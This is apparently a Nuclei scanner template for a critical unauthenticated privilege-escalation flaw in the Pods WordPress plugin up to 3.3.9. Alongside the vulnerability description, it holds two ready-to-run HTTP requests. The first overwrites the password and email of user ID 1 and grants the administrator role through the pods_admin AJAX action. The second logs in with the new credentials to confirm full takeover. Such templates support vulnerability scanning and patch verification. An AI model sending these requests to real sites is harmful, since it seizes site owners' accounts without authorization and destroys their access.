id: CVE-2026-19598

info:
  name: Pods <= 3.3.9 - Unauthenticated Privilege Escalation via pods_admin AJAX Router
  author: DhiyaneshDk
  severity: critical
  description: |
    The Pods – Custom Content Types and Fields plugin for WordPress is vulnerable to Privilege Escalation via Authorization Bypass in all versions up to, and including, 3.3.9. The vulnerability exists because the pods_admin AJAX router funnels every access check — including the method allowlist, nonce verification, login enforcement, and capability gate — through pods_error(), which under the JSON meta-box-loader compatibility path only writes failures to the PHP error log and returns false instead of terminating the request, rendering all guards ineffective. This makes it possible for unauthenticated attackers to escalate their privileges to Administrator or overwrite the password of any user account, including the site owner's, enabling complete site takeover, or perform another administrator action.
  impact: |
    Unauthenticated attackers can escalate to administrator or overwrite any user password, enabling full site takeover.
  remediation: |
    Update to the latest version beyond 3.3.9.
  reference:
    - https://www.wordfence.com/blog/2026/08/100000-wordpress-sites-affected-by-privilege-escalation-vulnerability-in-pods-wordpress-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-19598
    - https://pods.io/2026/08/14/pods-3-3-9-1-security-release-and-backported-releases/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-19598
    cwe-id: CWE-863
    epss-score: 0.02791
    epss-percentile: 0.85488
  metadata:
    max-request: 2
    verified: true
    product: pods
    vendor: podsfoundation
  tags: cve,cve2026,wordpress,wp-plugin,pods,privesc,unauth,intrusive,vkev

variables:
  passwd: "{{to_lower(rand_text_alpha(12))}}"
  email: "{{to_lower(rand_text_alpha(8))}}@pods.nuclei"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?meta-box-loader=1 HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        X-Requested-With: XMLHttpRequest
        Content-Type: application/x-www-form-urlencoded

        action=pods_admin&method=save_user&ID=1&user_pass={{passwd}}&user_email={{email}}&role=administrator

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "content_length <= 3"
          - "contains(body, '1')"
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{email}}&pwd={{passwd}}&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - "contains(to_lower(header), 'wordpress_logged_in')"
# digest: 4a0a0047304502202457a67b2dd8d313bc6ac28827ca3d49825d429a6d0d53cee1aa8d1047fa52100221008e0dadee18c79acfa495f2b324401fbb277949985f3d3f40d9a9cc2d1a6f68f1:922c64590222798bb761d5b6d8e72950